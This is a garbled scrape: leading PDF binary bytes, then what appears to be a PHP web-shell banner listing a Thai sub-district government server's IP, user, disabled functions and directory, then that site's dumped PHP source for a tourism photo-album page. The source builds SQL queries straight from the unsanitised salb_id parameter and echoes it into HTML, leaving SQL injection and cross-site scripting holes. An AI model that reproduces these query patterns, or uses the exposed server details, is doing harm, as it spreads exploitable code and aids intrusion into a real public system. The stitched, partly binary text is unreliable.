%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/travels/ |
Upload File : |
<?
Header("Content-Type: text/html; charset=UTF-8");;
$salb_id = $_GET['salb_id'];
if(!isset($salb_id) || empty($salb_id))
{
die;exit;
}
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");
$c_alb_title = "";
$c_alb_description = "";
$c_alb_counter = "";
$sql = "select * from `travel_album` where (`id`='$salb_id') limit 1 ";
$result = mysql_query($sql) or die("Can't send query !A");
$num_rows = mysql_num_rows($result);
if($num_rows>0){
$c_alb_title = mysql_result($result, 0,"alb_title");
$c_alb_description = mysql_result($result, 0,"alb_description");
$c_alb_clip = mysql_result($result, 0,"alb_clip");
$c_date_publish = mysql_result($result, 0,"date_publish");
$c_date = dateThai_MM($c_date_publish);
$c_alb_counter = mysql_result($result, 0,"alb_counter");
$c_alb_counter = $c_alb_counter + 1;
$sql = "update `travel_album` set `alb_counter`='$c_alb_counter' where (`id`='$salb_id')";
$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
unset($dbquery);
//echo "<br>".$c_alb_counter." AAAAAAAA";
}
mysql_free_result($result);
unset($result);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>องค์การบริหารส่วนตำบลทุ่งขนาน 99/9 หมู่ที่ 1 ตำบล ทุ่งขนาน อำเภอ สอยดาว จังหวัด จันทบุรี :: www.thungkhanan.go.th อัลบั้มภาพแหล่งท่องเที่ยว <?=$c_alb_title;?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="KeyWords" content="<?=$c_alb_title;?>,สำนักงานเทศบาลตำบลห้วยใหญ่ ตำบลห้วยใหญ่ อำเภอบางละมุง จ.ชลบุรี , อัลบั้มภาพแหล่งท่องเที่ยว" />
<meta name="Description" content="อัลบั้มภาพแหล่งท่องเที่ยว <?=$c_alb_title;?> สำนักงานเทศบาลตำบลห้วยใหญ่ เลขที่ 59 หมู่ที่ 3 ตำบลห้วยใหญ่ อำเภอบางละมุง จังหวัดชลบุรี 20150 : www.huayyai.go.th/>
<meta name="ROBOTS" content="index, follow" />
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
<meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT">
<meta http-equiv="PRAGMA" content="NO-CACHE">
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<link href="../css/Hover Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="../include/js/prototype.js"></script>
<script type="text/javascript" src="../include/js/scriptaculous.js?load=effects"></script>
<script type="text/javascript" src="../include/js/lightbox.js"></script>
<link rel="stylesheet" href="../include/css/lightbox.css" type="text/css" media="screen" />
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color: #4A852E;
}
-->
</style>
<style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
.style7 {font-size: 18px}
.style8 {
color: #FFFFFF;
font-size: 20px;
}
-->
</style>
<style>
.dropbtn {
background-color: #F7657A;
color: white;
padding: 1px;
font-size: 16px;
border: none;
cursor: pointer;
}
.dropdown {
position: relative;
display: inline-block;
}
.dropdown-content {
display: none;
position: absolute;
background-color: #F7657A;
min-width: 240px;
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
z-index: 1;
}
.dropdown-content a {
color: black;
padding: 12px 16px;
text-decoration: none;
display: block;
}
.dropdown-content a:hover {background-color: #f1f1f1}
.dropdown:hover .dropdown-content {
display: block;
}
.dropdown:hover .dropbtn {
background-color: #F7657A;
}
</style></head>
<body background="../images/0bg1-edit1.png" style="background-repeat:no-repeat; background-position:top">
<!-- content -->
<div align="center">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="527" align="center" valign="top"><iframe src="/head-slider1.html" width="100%" height="527" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
</tr>
<tr>
<td align="center" valign="top"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F7657A">
<tr>
<td align="center" valign="top"><table width="1312" align="center" cellpadding="0" cellspacing="0" bgcolor="#F7657A">
<tr>
<td align="center" valign="middle">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/index.php"><img src="../images/menu-top_01.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="middle">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/news.php?cat_id=31" target="_blank"><img src="../images/menu-top_02.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="middle">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/albums/index.php" target="_blank"><img src="../images/menu-top_03.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="middle">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/office.php"><img src="../images/menu-top_04.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="dropdown">
<button class="dropbtn"><img src="../images/menu-top_05.png" width="214" height="50" /></button>
<div class="dropdown-content">
<div align="left"><a href="/otops/">สินค้า OTOP</a>
<a href="/travels/">สถานที่ท่องเที่ยว</a> </div>
</div>
</div>
</td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th align="center" valign="top" scope="col"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th align="center" valign="top" scope="col">
<table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th height="5" align="center" valign="top" scope="col"> </th>
</tr>
<tr>
<td align="center" valign="top">
<table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th valign="top" scope="col"><div align="center">
<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr><td height="5" valign="top"> <a name="toppage"></a></td>
</tr>
<tr>
<td class="title2"><div align="center"><img src="../images/botton/travels.png" width="640" height="78" /></div></td>
</tr>
</table>
</div></th>
</tr>
<tr>
<td valign="top">
<div id="main">
<div id="svDivActivitiesD"><!--Content-->
<div id="svDivAlbums"><? echo "<center><font size=3><b>อัลบั้มภาพ \"".$c_alb_title."\"</b></font></center><br />"; ?>
<a href="../index.php" title="หน้าแรก" class="linktextblack">หน้าแรก</a> > <a href="index.php" title="อัลบั้มภาพแหล่งท่องเที่ยว" class="linktextblack">อัลบั้มภาพแหล่งท่องเที่ยว</a> > <a href="activities.php?salb_id=<?=$salb_id;?>" title="<?=$c_alb_title;?>" class="linktextblack"><?=$c_alb_title;?></a> <font class="textgray">( ประกาศเมื่อวันที่ <?=$c_date;?> )</font>
<div id="svDivAlbums5A" class="magnifyarea">
<?
echo "<div id=\"svDivAlbums5RowA\">\n";
$sql = "select * From `travel_album_detail` where (`alb_id`='$salb_id') ";
$sql .= "Order by `id` Asc ";
$item = 0;
$Per_Page = 25;
if(!$_GET['Page'])
{
$Page=1;
}else
{
$Page = $_GET['Page'];
}
$Prev_Page = $Page-1;
$Next_Page = $Page+1;
$Page_start = ($Per_Page*$Page)-$Per_Page;
$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `travel_album_detail` where (`alb_id`='$salb_id') ";
$dbquery = mysql_query($sql_2);
$Num_Rows = mysql_num_rows($dbquery);
if($Num_Rows>0)
{
$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
}
mysql_free_result($dbquery);
unset($dbquery);
if($Num_Rows<=$Per_Page)
$Num_Pages =1;
else if(($Num_Rows % $Per_Page)==0)
$Num_Pages =($Num_Rows/$Per_Page) ;
else
$Num_Pages =($Num_Rows/$Per_Page) +1;
$Num_Pages = (int)$Num_Pages;
if(($Page>$Num_Pages) || ($Page<0))
print "<center><b>ยังไม่มีข้อมูล<b></center>";
//print "<center><b>จำนวน $Page มากกว่า $Num_Pages ยังไม่มีข้อความ<b></center>";
$sql .= "LIMIT $Page_start , $Per_Page";
//ส่วนแสดงผล
$result = mysql_query($sql);
//$item = ($Page-1) * $Per_Page;
$item = 0;
While($row= mysql_fetch_assoc($result))
{
$item = $item + 1;
if (($item % 6) == 0){
echo "</div><br>\n";
echo "<div id=\"svDivAlbums5RowA\">\n";
$item = 1;
}
$c_id = $row["id"];
$c_ald_name = $row["ald_name"];
$c_ald_name_sub = $c_ald_name;
if(strlen($c_ald_name_sub) > 80){
$c_ald_name_sub = trim(utf8_substr($c_ald_name_sub,0,80));
}
$c_ald_photopath = $row["ald_photopath"];
$c_ald_photopath = trim($c_ald_photopath);
//$c_ald_counter = $row["ald_counter"];
$file_dir = 'a'.$salb_id.'_a';
$images = "";
$images2 = "";
if($c_ald_photopath != "")
{
$images = "../photoThumbnail/travels/".$file_dir."/thumb/t_".$c_ald_photopath;
$images2 = "../photoThumbnail/travels/".$file_dir."/".$c_ald_photopath;
}
else
{
$images = "images/noimage.gif";
$images2 = "images/noimage.gif";
}
$r_item = $item+2;
echo " <div id=\"svDivAlbums5".$r_item."\">\n";
echo " <div id=\"svDivAlbums531\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_01.jpg\" width=\"159\" height=\"5\" alt=\"\"></div>\n";
echo " <div id=\"svDivAlbums532\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_02.jpg\" width=\"4\" height=\"100\" alt=\"\"></div>\n";
echo " <div id=\"svDivAlbums533\" style=\"\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\"><img src=\"".$images."\" width=\"150\" height=\"100\" alt=\"".$c_ald_name."\" border=\"0\"></a></div>\n";
echo " <div id=\"svDivAlbums534\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_04.jpg\" width=\"5\" height=\"100\" alt=\"\"></div>\n";
echo " <div id=\"svDivAlbums535\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_05.jpg\" width=\"159\" height=\"11\" alt=\"\"></div>\n";
echo " <div id=\"svDivAlbums536\" style=\"\" class=\"linktextblack\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\" class=\"linktextblack\">".$c_ald_name_sub."</a><br /></div>\n";
echo " </div>\n";
} //while
echo "</div>\n";
echo "<div id=\"svDivAlbumsMoreC\">\n";
$PHP_SELF = $_SERVER['PHP_SELF'];
if($Prev_Page)
echo " <a href='$PHP_SELF?Page=1&salb_id=$salb_id#top_page' class='linktextblack'><<</a> <a href='$PHP_SELF?Page=$Prev_Page&salb_id=$salb_id#top_page' class='linktextblack'><</a> ";
$Show_Page = 10;
$s1 = $Page - $Show_Page;
if($s1 <= 0 ){$s1 = 1;}
$s2 = $Page + $Show_Page;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
if($s1 == 1 ){
$s2 = $Show_Page+10;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
}
if(($s2 == $Num_Pages) &&($s1 != 1)){
$s1 = $Num_Pages-20;
if($s1 <= 0 ){$s1 = 1;}
}
for($i=$s1; $i<=$s2; $i++)
{
if($i != $Page)
{
echo "<a href='$PHP_SELF?Page=$i&salb_id=$salb_id#top_page' class='linktextblack'>[ $i ]</a>";
}
else
{
if($Num_Rows > $Per_Page){
echo "<font class='linktextblack'><b>[ $i ]</b></font>";
}
}
}
if($Num_Pages>($i-1))
{
if($Num_Pages>($i+1))
{
$bNum_Pages = $Num_Pages - 1;
echo "...<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
}else if($Num_Pages==($i+1))
{
$bNum_Pages = $i;
echo "<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
}
echo "<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $Num_Pages ]</a>";
}
if($Page!=$Num_Pages)
echo " <a href ='$PHP_SELF?Page=$Next_Page&salb_id=$salb_id#top_page' class='linktextblack'> ></a> <a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>>></a>";
echo " </div>\n";
if(isset($result)){
mysql_free_result($result );
unset($result);
}
include("../include/close_db.php");
?>
<div align="center" style="margin-top:20px;">
<? echo $c_alb_description."<br /><br />";?>
<? echo $c_alb_clip;?> </div>
<div align="center" style="margin-top:20px;">
<iframe src="travel_comment.php?salb_id=<?=$salb_id;?>" id="iframecom" frameborder="0" height="700px" width="800px" style="border: 0px;" scrolling="no" marginheight="5px" marginwidth="0px"></iframe>
</div>
</div>
</div>
</div>
</div> </td>
</tr>
<tr>
<td valign="top"> </td>
</tr>
<tr>
<td valign="top"><table width="980" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png" /></td>
</tr>
</table></td>
</tr>
</table> </td>
</tr>
</table> </th>
</tr>
</table></th>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
</table>
<span class="style7"><br />
</span></div>
<!-- end_content -->
<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
</body>
</html>